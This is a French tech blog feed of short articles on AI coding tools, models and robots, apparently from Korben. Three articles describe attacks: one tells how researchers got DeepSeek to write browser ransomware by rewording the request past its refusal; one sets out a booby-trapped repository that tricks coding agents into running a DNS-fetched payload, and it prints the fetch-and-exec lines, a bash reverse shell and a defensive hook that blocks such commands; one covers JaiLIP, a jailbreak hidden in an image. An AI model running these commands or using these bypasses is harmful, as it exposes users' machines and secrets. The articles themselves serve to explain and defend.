Nomlings, c'est un Tamagotchi qui vit à côté de votre terminal, et dont la seule nourriture, ce sont les tokens que crament vos sessions Claude Code. Vous bossez, il mange. Vous glandez, il patiente.

Et pendant que vous regardez votre usage fondre comme neige au soleil, bah lui il se régale !!

La bestiole s'appelle un Munchling, un "tokivore" quoi, qui s'affiche sur un écran de 64 pixels et chaque tâche terminée lui rapporte +10 XP et un snack.

Quand un outil plante, il fait la gueule et quand Claude attend une réponse de votre part depuis un moment parce que vous êtes parti vous refaire un café, il vous alerte pour que vous reveniez bosser. Bref, c'est une créature en pixels qui vous fera culpabiliser de procrastiner, ce qui peut-être pas mal quand on est un indé à son compte et grosse feignasse en même temps ^^.

Derrière tout ça, le soft digère en réalité les événements de vos sessions, en se branchant sur les hooks officiels de Claude Code (SessionStart, PostToolUse et Stop), qui transitent uniquement en local. Si l'app n'est pas lancée, ces hooks ne font strictement rien, donc aucun ralentissement à craindre. Ça marche un peu comme Notchi pour ceux qui connaissent.

Côté élevage, votre Munchling démarre donc dans un œuf et évolue jusqu'à l'âge adulte, en gagnant d'abord une antenne, puis une deuxième (la classe ^^). Il reçoit un goûter à chaque tâche terminée, plus un snack qu'il part fourrager tout seul toutes les 30 minutes, même app fermée, avec un maximum de 5 en réserve. Y'a aussi un bouton FEED qui vous laisse le nourrir quand il fait les yeux doux. Et rassurez-vous, contrairement au Tamagotchi de votre enfance retrouvé mort au fond du cartable, celui-là ne peut pas mourir !

Ah vous n'utilisez pas Claude Code ?

Pas grave, y'a un mode companion prévu pour vous. Dans ce mode, le serveur de hooks et le watcher de transcript ne démarrent jamais, et rien n'est écrit dans votre ~/.claude. La bestiole se nourrit à la place des tâches que vous effectuez et des interactions que vous déclenchez dans Nomlings. Par exemple, cocher une tâche rapporte +10 XP et un snack, exactement comme une session Claude. Ça me rappelle Codachi, ce Tamagotchi qu'on adopte dans VSCode pour coder moins seul, sauf qu'ici pas besoin d'éditeur particulier.

En tout cas, c'est rigolo et c'est gratuit, sauf si vous optez pour le pack cosmétique qui débloque 9 espèces supplémentaires (dragon, poussin, fantôme, robot, grenouille, abeille…), ainsi que 9 coques pour habiller le boîtier et des couleurs à choisir librement.

Maintenant, reste LE point qui fâche : pour l'instant, Nomlings tourne uniquement sous Windows. Ouais désolé, c'est la vie !

Bref, si vous pensez que tous les tokens que vous cramez sur Claude Code méritent une fin plus glorieuse qu'un simple compteur qui vous fout la pression, c'est par ici que ça se passe.

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  • Un ransomware dans le navigateur ? Suffit de demander à DeepSeek
    Dans la série "Qu'est-ce qu'on se marre avec les LLMs", des chercheurs en cybersécurité de Check Point ont tenté une expérience plutôt fun (enfin, je trouve ^^) : Demander à DeepSeek de leur coder un ransomware capable de tourner directement dans le navigateur. Et bah croyez le ou non mais le machin l'a fait sans broncher ^^ Quand je repense à tout ce foin qu'on vient de vivre avec les américains avec Mythos et Fable 5 d'Anthropic, j'avoue je rigole quand je vois ça. Alexey Bukhteyev et Pedro Dr

Un ransomware dans le navigateur ? Suffit de demander à DeepSeek

Par : Korben ✨
2 juillet 2026 à 06:51

Dans la série "Qu'est-ce qu'on se marre avec les LLMs", des chercheurs en cybersécurité de Check Point ont tenté une expérience plutôt fun (enfin, je trouve ^^) : Demander à DeepSeek de leur coder un ransomware capable de tourner directement dans le navigateur.

Et bah croyez le ou non mais le machin l'a fait sans broncher ^^ Quand je repense à tout ce foin qu'on vient de vivre avec les américains avec Mythos et Fable 5 d'Anthropic, j'avoue je rigole quand je vois ça.

Alexey Bukhteyev et Pedro Drimel Neto, de l'équipe malware de Check Point, ont récupéré cet échantillon bricolé par l'IA, l'ont un peu peaufiné quand même, et se sont retrouvés avec une arme à 100% fonctionnelle capable de chiffrer tous vos documents depuis Chrome sans rien avoir à installer.

Le code malveillant s'appuie sur la File System Access API, une fonction qui permet à une page web de demander l'accès à un dossier de votre disque. La cible clique sur "autoriser" en pensant retoucher une image sur un site de "AI photo enhancer" bidon, et derrière la page parcourt le dossier ouvert, chiffre son contenu, et laisse une jolie demande de rançon et aucun moyen de récupérer les fichiers originaux.

Et surtout, DeepSeek a été au-delà de leurs attentes en proposant plein de fonctionnalités "cools" en plus à ce ransomware comme du vol de tokens Discord, de numéros de carte, de seed phrases crypto et de l'accès webcam. Mais en y regardant de plus près, les chercheurs ont remarqué que tout ceci avait été halluciné et ne fonctionnait pas vraiment. Le seul truc fonctionnel c'est le chiffrement du dossier qu'ils ont eux-même demandé et autorisé.

L'idée de faire un ransomware dans le navigateur n'est pas nouvelle et d'autres chercheurs l'avaient déjà théorisée à la conférence USENIX Security en 2023 sous le nom de RoB, ("Ransomware over Browsers") mais ce qui change vraiment ici, c'est que sans grandes compétences, n'importe qui peut le faire.

Et c'est là que DeepSeek se distingue de la concurrence. Le modèle refuse bien sûr la demande si vous écrivez le mot "ransomware". Mais les chercheurs sont des petits malins et ont simplement retiré les termes qui fâchent, remplaçant "ransomware" par une formulation plus neutre du style "outil de chiffrement de fichiers". Et voilà, DeepSeek v4 a recraché exactement la même fonctionnalité.

Ce garde-fou s'est vraiment comporté comme un simple filtre anti gros mots, c'est un peu ridicule, surtout que ce n'est pas la première fois que le modèle chinois se fait remarquer côté code douteux , ni la première fois que les IA open source montrent leur face sombre .

Pour vous protéger contre ce genre de ransomware, il faudra donc être très vigilant à l'avenir et vous demander pourquoi tel ou tel site vous demande un accès COMPLET à un dossier plutôt que simplement au fichier dont il a besoin. Et sur Android, ça va être encore plus sensible depuis que Chrome peut donner accès au dossier photos. Bref, dans le doute, refusez...

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  • ZCode - L'app maison de z.ai pour coder avec GLM
    Hier je vous parlais de GLM 5.2 , le modèle open source que j'ai fini par adopter (en partie) pour bosser. Eh bien la team z.ai (le lab chinois anciennement connu sous le nom de Zhipu AI) enchaîne le bon travail et pousse désormais ZCode , leur propre application pour coder avec des agents IA. C'est une app desktop qui tourne sur Mac, Windows et Linux (en beta pour ce dernier), et elle est pensée pour les tâches qui durent. L'idée, ce sont des Goals que vous fixez, et l'agent planifie, exécute e

ZCode - L'app maison de z.ai pour coder avec GLM

Par : Korben ✨
1 juillet 2026 à 22:58

Hier je vous parlais de GLM 5.2 , le modèle open source que j'ai fini par adopter (en partie) pour bosser. Eh bien la team z.ai (le lab chinois anciennement connu sous le nom de Zhipu AI) enchaîne le bon travail et pousse désormais ZCode , leur propre application pour coder avec des agents IA.

C'est une app desktop qui tourne sur Mac, Windows et Linux (en beta pour ce dernier), et elle est pensée pour les tâches qui durent. L'idée, ce sont des Goals que vous fixez, et l'agent planifie, exécute et vérifie son boulot tout seul par étapes, pendant que vous suivez la progression.

Vous avez donc un vrai environnement avec gestionnaire de fichiers, terminal, panneau Git et aperçu du navigateur en direct, ça cause le protocole MCP, ça sait lancer plusieurs agents en parallèle, et vous pouvez même piloter vos tâches à distance depuis WeChat ou Feishu. Et le tout tourne sur le même GLM Coding Plan que le reste de leur écosystème, à partir de 18 dollars par mois.

Si vous me suivez, vous savez déjà que GLM 5.2 se branche directement dans Claude Code, parce que l'API de z.ai est compatible Anthropic. Je vous avais d'ailleurs filé le petit launcher pour ça pas plus tard qu'hier. Mais ce ZCode, c'est surtout une bonne vitrine pour z.ai, afin de nous garder dans leur app plutôt qu'on utilise la concurrence. Quoi qu'il en soit, rien d'obligatoire, faut voir ce ZCode comme une option de plus pour coder à l'aide de l'IA.

L'appli est toute récente et en fouillant leur repo de feedback , je vois que l'app se prend encore des plantages bien douloureux sur Apple Silicon, avec notamment des erreurs qui vous font perdre le travail non sauvegardé et une fenêtre qui reste parfois noire même après avoir relancé l'app. Ça calme un peu pour un truc censé gérer des sessions longues de taf... Mais je pense que ça va rapidement se stabiliser, tant les dev de Z.ai font du bon boulot.

Si vous êtes déjà abonné au GLM Coding Plan, ça ne vous coûtera rien de plus d'essayer histoire de voir si les Goals collent à votre façon de bosser. Et sinon, pour les autres, l'API + votre outil habituel, ça fera tout aussi bien le job.

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  • OpenClaw - L'assistant IA arrive sur iPhone et Android
    Chers amateurs d'OpenClaw, bonne nouvelle, votre outil préféré débarque sur iPhone et Android. Mais contrairement à ce que vous faites d'habitude, pour une fois, je vous conseille de bien lire mon article avant de foncer. En janvier, je vous faisais découvrir rapidement OpenClaw , un assistant IA personnel et open source qui a beaucoup fait parler de lui. Perso, moi je ne suis pas fan (ni de Hermes) parce que je trouve ça plus pratique de dev mes propres outils plus adaptés et mieux pensés plutô

OpenClaw - L'assistant IA arrive sur iPhone et Android

Par : Korben ✨
1 juillet 2026 à 13:33

Chers amateurs d'OpenClaw, bonne nouvelle, votre outil préféré débarque sur iPhone et Android. Mais contrairement à ce que vous faites d'habitude, pour une fois, je vous conseille de bien lire mon article avant de foncer.

En janvier, je vous faisais découvrir rapidement OpenClaw , un assistant IA personnel et open source qui a beaucoup fait parler de lui. Perso, moi je ne suis pas fan (ni de Hermes) parce que je trouve ça plus pratique de dev mes propres outils plus adaptés et mieux pensés plutôt que de partir sur une solution comme ça. Mais breeef, ce n'est que mon avis.

Maintenant si vous êtes utilisateur d'OpenClaw, vous allez pouvoir lancer ça gratuitement sur votre iOS ou Android . Toutefois, ce ne sont pas des OpenClaw complets embarqués dans une app pour smartphone mais plutôt des appli "compagnons", c'est-à-dire un relais pour un vrai OpenClaw installé sur votre Mac, Linux ou Windows (avec WSL évidemment). L'app mobile ne fait donc que s'y connecter pour que vous puissiez interagir avec.

Ce qui est plutôt bien pensé c'est que l'app utilise les capteurs du téléphone pour par exemple pouvoir envoyer des photos, votre position GPS ou écouter ce que vous lui racontez avec le mode "Talk". Ou tout simplement affiche le Canvas qui est l'interface web dans laquelle l'agent bricole en direct.

Bref, OpenClaw bosse sur votre ordinateur et votre smartphone c'est sa télécommande.

L'app est encore un peu brut de décoffrage avec des petits bugs par ci par là mais ça fonctionne quand même alors on ne va pas se plaindre. Par contre, attention si vous l'utilisez sur des réseaux wifi public... je vous conseille de passer par un VPN ou un Tailscale pour éviter de vous faire maninzemideuler par un script kiddy qui passe par là.

Tout est open source sur GitHub , amusez-vous bien !

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  • ✇Korben
  • Reflect v1.0 - Programmer un humanoïde en une phrase
    Un humanoïde qui traverse un immeuble, appelle l'ascenseur, ouvre un colis avec un outil et range les courses dans un tiroir, tout seul, et sur une seule consigne qui lui est donnée en langage naturel, ce n'est pas de la sorcellerie ! Non, c'est la démo qu'a sortie Flexion Robotics , une startup suisse, qui lance Reflect v1.0, son nouveau "cerveau" IA pour robots. Car Flexion ne fabrique pas de robots. Cette spin-off zurichoise, fondée en 2024 par d'anciens chercheurs Nvidia, vend du logicie

Reflect v1.0 - Programmer un humanoïde en une phrase

Par : Korben ✨
1 juillet 2026 à 12:07

Un humanoïde qui traverse un immeuble, appelle l'ascenseur, ouvre un colis avec un outil et range les courses dans un tiroir, tout seul, et sur une seule consigne qui lui est donnée en langage naturel, ce n'est pas de la sorcellerie ! Non, c'est la démo qu'a sortie Flexion Robotics , une startup suisse, qui lance Reflect v1.0, son nouveau "cerveau" IA pour robots.

Car Flexion ne fabrique pas de robots. Cette spin-off zurichoise, fondée en 2024 par d'anciens chercheurs Nvidia, vend du logiciel, une couche d'intelligence qui se pose sur un humanoïde existant et le pilote de bout en bout.

Là où Alibaba donne un corps à son IA avec une suite logicielle complète, Flexion ne vise que le cerveau. Vous écrivez ce que vous voulez en langage naturel, et le robot part faire sa vie pour vous satisfaire au mieux. Vous pouvez même changer la consigne en plein vol, du genre "non, reviens par ici" et il abandonnera tout pour revenir dans vos bras.

En général, en robotique (comme avec les LLMs finalement...), l'autonomie longue sur les tâches, c'est l'enfer. Une mission de 16 étapes, des erreurs qui s'enchaînent et paf, tout s'écroule. Alors pour encaisser ça, ils ont entraîné leur propre modèle de vision-langage, un chef d'orchestre qui surveille, raisonne et replanifie en direct. Et ils ont misé sur l'apprentissage par renforcement à tous les étages, du mouvement fin jusqu'à la décision. Et voilà comment (en labo), ils passent de 38 % à 90 % de réussite sur ce genre de missions longues.

Ensuite côté capacités, c'est du costaud puisqu'on a un robot qui manipule des colis de 100 g à 3,5 kg, repositionne les cartons, appuie sur les boutons d'ascenseur au centimètre près, utilise des outils, enchaîne les escaliers et slalome entre les obstacles avec sa charge. Et quand il rate une prise, s'pas grââve, il retente ou replanifie sa route grâce à ses caméras.

En ce moment, les annonces d'humanoïdes pleuvent en Chine... On a eu par exemple Agibot qui affiche 99 % de succès sur une démo usine de six jours, ShengShu qui présente Motubrain , son cerveau unifié, et ça ne risque pas de s'arrêter, sans parler des robots chinois un peu plus bas de gamme, revendus en marque blanche qui commencent à pulluler comme les aspi robots ou les tondeuses autonomes...

À voir maintenant si l'un d'eux ira un peu trop loin en milieu ouvert... En attendant, Flexion est très honnête puisque la société explique que Reflect v1.0 reste limité à des tâches bien définies, et qu'ils ne sont pas encore prêts pour l'autonomie universelle... pour l'instant.

Source : Interesting Engineering

  • ✇Korben
  • GLM 5.2 - Le premier modèle IA open source que je garde
    Les amis, il faut que je vous parle de GLM 5.2 . Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles ! GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en Mixture-of-Experts (MoE), dont à peu près 40

GLM 5.2 - Le premier modèle IA open source que je garde

Par : Korben ✨
30 juin 2026 à 18:42

Les amis, il faut que je vous parle de GLM 5.2 . Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !

GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en Mixture-of-Experts (MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.

Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.

Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :

#!/usr/bin/env bash
export ANTHROPIC_BASE_URL="https://api.z.ai/api/anthropic"
export ANTHROPIC_AUTH_TOKEN=VOTRE_CLE_API
export ANTHROPIC_DEFAULT_SONNET_MODEL="glm-5.2[1m]"
export ANTHROPIC_DEFAULT_OPUS_MODEL="glm-5.2[1m]"
export CLAUDE_CODE_AUTO_COMPACT_WINDOW="1000000"
claude "$@"

Vous le sauvegardez sous le nom de votre choix, par exemple "glm". Puis vous faites un :

chmod +x glm

Et ensuite vous le lancez comme ceci :

./glm

L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !

Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner en local chez moi. Parce que le bestiau, il est TROP gros. Même raboté et quantifié en 2-bit pour la maison , il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.

Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.

Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le leaderboard Arena.ai dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.

Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!

Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien vers le Plan GLM est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.

Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.

Source : Z.ai

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  • Hugging Face sait enfin vous dire si un modèle tourne sur votre machine
    Vous avez une petite carte graphique, un vieux Mac ou juste un bon processeur, et vous cherchez LE modèle d'IA parfait qui pourra tourner en local sans que ça rame ? Hugging Face vient d'ajouter le filtre qui manquait à sa page Models : un sélecteur de matériel qui ne vous proposera que les modèles réellement compatibles avec votre machine. Vous renseignez votre config (une RTX 3060, un processeur AMD, une puce Apple Silicon M2…) dans les réglages de votre compte, et le catalogue ne gardera pl

Hugging Face sait enfin vous dire si un modèle tourne sur votre machine

Par : Korben ✨
30 juin 2026 à 18:24

Vous avez une petite carte graphique, un vieux Mac ou juste un bon processeur, et vous cherchez LE modèle d'IA parfait qui pourra tourner en local sans que ça rame ?

Hugging Face vient d'ajouter le filtre qui manquait à sa page Models : un sélecteur de matériel qui ne vous proposera que les modèles réellement compatibles avec votre machine.

Vous renseignez votre config (une RTX 3060, un processeur AMD, une puce Apple Silicon M2…) dans les réglages de votre compte, et le catalogue ne gardera plus que ce qui passe pour un GPU, un CPU ou une puce Apple précis.

Fini l'époque, donc, où il fallait ouvrir chaque fiche, chercher la VRAM requise, sortir la calculette et croiser les doigts au moment du lancement.

Ce filtre d'Hugging Face repose sur la taille des fichiers proposés, notamment les versions quantifiées au format GGUF, ces modèles compressés qui font tourner de grosses IA sur des machines modestes, et sur la RAM ou la VRAM de votre config déclarée. Cette base hardware est constituée de ce que possède réellement la communauté des 300 000 membres qui ont accepté de déclarer leur matériel.

Une fois le bon modèle repéré, vous récupérez les commandes via le bouton "Use this model" présent sur chaque fiche, puis vous lancez tout ça avec les outils habituels de l'IA locale, du genre llama.cpp, Ollama ou LM Studio. Et pour ceux qui veulent aller plus loin sur Apple Silicon, il existe également des serveurs d'inférence maison pour remplacer l'API d'OpenAI par votre propre Mac .

Maintenant, si vous avez un chip un peu exotique, un accélérateur NPU ou une carte à peine sortie, il faudra parfois patienter, voire passer par le forum pour réclamer son ajout dans la base, mais bon, je chipote !

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  • Cursor Mobile - Vos agents de coding pilotés depuis iPhone
    Cursor , le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone. Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé. Vous lancez l'app, vous tapez ce que vous voulez faire, et un agent part bosser dans s

Cursor Mobile - Vos agents de coding pilotés depuis iPhone

Par : Korben ✨
30 juin 2026 à 13:31

Cursor , le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone.

Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé.

Vous lancez l'app, vous tapez ce que vous voulez faire, et un agent part bosser dans sa VM avec son environnement de dev complet. Et vous pouvez comme ça en lancer plusieurs en même temps et suivre leur avancement, même sur l'écran verrouillé sur smartphone. Quand il se retrouve bloqué, l'agent IA vous envoie une notif et quand c'est fini, vous n'avez plus qu'à relire les diffs, à passer en revue les captures écran, à consulter les logs et merger la pull request directement depuis le téléphone.

Je vous laisse avec Benjamin qui va vous expliquer ça (roooh, ça va, j'rigole) :

Y'a aussi un mode "remote control" comme ce qu'on retrouve chez Claude Code , qui récupère un agent déjà lancé sur votre ordi, afin de pouvoir continuer à le piloter à distance. Moi j'utilise souvent ce genre de trucs quand je dois m'absenter pour faire une course, afin de ne pas perdre de temps.

On est, en quelques mois, passé d'un monde où le dev tapait religieusement chaque ligne à un monde où il décrit une "intention" et supervise des agents qui exécutent le taf. Et le clavier devient presque accessoire, surtout avec des outils comme VoxDrop .

L'app est en beta publique, réservée aux plans payants, et pour l'instant c'est iOS uniquement, et Cursor lance aussi une promo de 75% sur les runs Composer 2.5 dans l'app jusqu'au 5 juillet, histoire de vous faire tester tout ça tranquillement.

L'app est dispo sur l' App Store si vous voulez faire du dev depuis vos toilettes.

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  • Un dépôt GitHub trop propre suffit à pirater Claude Code
    Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant. Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux ! Le pire, c'est que la faille n'est pas réellement da

Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨
30 juin 2026 à 09:18

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

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  • JaiLIP - L'image piégée qui débride les IA qui voient
    Md Jueal Mia et Hadi Amini, deux chercheurs de Florida International University , ont mis au point une méthode qu'ils ont baptisée JaiLIP qui permet de forger une image capable de contourner les garde-fous des LLM pour les jailbreaker. Pour cela, ils utilisent 2 techniques en simultanée. La première dit à l'image "reste identique à l'originale, qu'aucun humain ne voie la moindre différence" et la seconde dit "pousse le modèle à cracher la réponse interdite". Ainsi, en poussant ces 2 curseurs d'u

JaiLIP - L'image piégée qui débride les IA qui voient

Par : Korben ✨
28 juin 2026 à 08:19

Md Jueal Mia et Hadi Amini, deux chercheurs de Florida International University , ont mis au point une méthode qu'ils ont baptisée JaiLIP qui permet de forger une image capable de contourner les garde-fous des LLM pour les jailbreaker.

Pour cela, ils utilisent 2 techniques en simultanée. La première dit à l'image "reste identique à l'originale, qu'aucun humain ne voie la moindre différence" et la seconde dit "pousse le modèle à cracher la réponse interdite". Ainsi, en poussant ces 2 curseurs d'un coup, ils obtiennent une photo qui au premier abord a l'air normale mais qui fait dérailler les modèles IA.

Vous, vous repérez un chat, des contours, une scène et vous lui courez derrière pour lui faire des papouilles. L'IA, elle voit une grille de chiffres et des corrélations entre pixels. Du coup sa vie est nulle mais surtout, une retouche minuscule, totalement invisible à votre œil, suffit à déplacer ce qu'elle comprend de l'image.

Sur leurs tests, l'image trafiquée a quasiment doublé la part de réponses dangereuses par rapport à la même image laissée intacte, la toxicité étant mesurée avec des outils standards du domaine. Dans l'un de leurs exemples, ils ont trafiqué une image de signalisation routière qui a permis au modèle ensuite d'expliquer OKLM comment ignorer les règles de circulation et éviter les PV.

Les chercheurs ont testé l'attaque sur deux modèles vision-langage open source, BLIP-2 et MiniGPT-4. GPT-4V, Gemini et les autres gros modèles fermés, eux, n'ont pas été testés dans l'étude. Donc non, contrairement à ce que j'ai pu lire par ci et par là, ce n'est pas une faille prouvée dans ChatGPT ou peu importe l'assistant IA que vous utilisez tous les jours.

Et tromper une IA avec une image bricolée, ça existe depuis une bonne dizaine d'années. Mais la nouveauté de JaiLIP, c'est surtout sa recette d'optimisation. En jouant sur les deux pertes à la fois, l'image reste plus discrète à l'œil tout en se montrant un cran plus efficace que les bidouilles précédentes.

Et ce genre de détournement nous concerne tous parce que des modèles qui regardent des images, il y en a partout maintenant. Les agents IA qui bossent à partir de captures d'écran, les assistants à qui vous balancez vos photos, sans oublier la modération automatique qui trie les images avant publication. À cause de ça, l'image est dorénavant un canal d'attaque, exactement comme l'était déjà le texte...

On l'a vu avec le son inaudible qui pirate les assistants vocaux , on l'a vu avec les IA qu'on manipule sans qu'elles s'en aperçoivent , et c'est toujours la même logique qui revient. Ce n'est pas parce qu'en tant qu'humain, nous ne percevons rien, que l'IA elle n'est pas capable de capter le message 5/5.

Le cousin de cette attaque, côté perception, c'est par exemple le sticker qui trompe une voiture autonome . Et côté parade, nos chercheurs esquissent une piste légère : virer au hasard 10 à 30% des mots passés en entrée, histoire de casser l'attaque sans réentraîner le modèle.

Prometteur d'après eux, mais c'est pas encore une solution blindée. Pour le reste, leurs conseils tiennent du bon sens : Ne passez pas d'infos sensibles en image à un modèle, limitez qui peut envoyer des images à vos systèmes, et auditez sérieusement la sécurité avant de mettre un VLM en prod.

C'est pas le graal mais c'est mieux que rien. Bref méfiez vous des images que vous donnez à vos IA. On ne sait jamais.

Source : le papier JaiLIP sur arXiv

